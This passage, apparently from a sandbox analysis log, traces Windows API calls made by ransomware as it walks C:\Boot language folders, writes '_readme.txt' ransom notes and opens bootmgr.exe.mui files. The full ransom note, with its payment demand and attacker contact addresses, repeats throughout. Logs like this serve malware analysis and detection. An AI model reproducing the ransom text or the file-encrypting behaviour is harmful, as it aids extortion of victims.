unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.372] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.372] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.373] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.373] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0117.373] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.373] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.373] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.373] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.373] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0117.373] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.373] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.373] PathFindFileNameW (pszPath="") returned="" [0117.373] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.374] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.374] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.374] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.374] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0117.374] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0117.374] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.374] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.374] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.374] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.374] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0117.374] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.375] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.375] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.375] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.375] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0117.375] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.375] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.375] PathFindFileNameW (pszPath="") returned="" [0117.375] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.375] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.375] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.375] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.376] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0117.376] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0117.376] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.376] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.376] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.376] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.376] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0117.376] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.376] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.376] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.376] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.377] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0117.377] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.377] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.377] PathFindFileNameW (pszPath="") returned="" [0117.377] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.377] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.377] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.377] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.377] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0117.377] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0117.377] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.377] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to 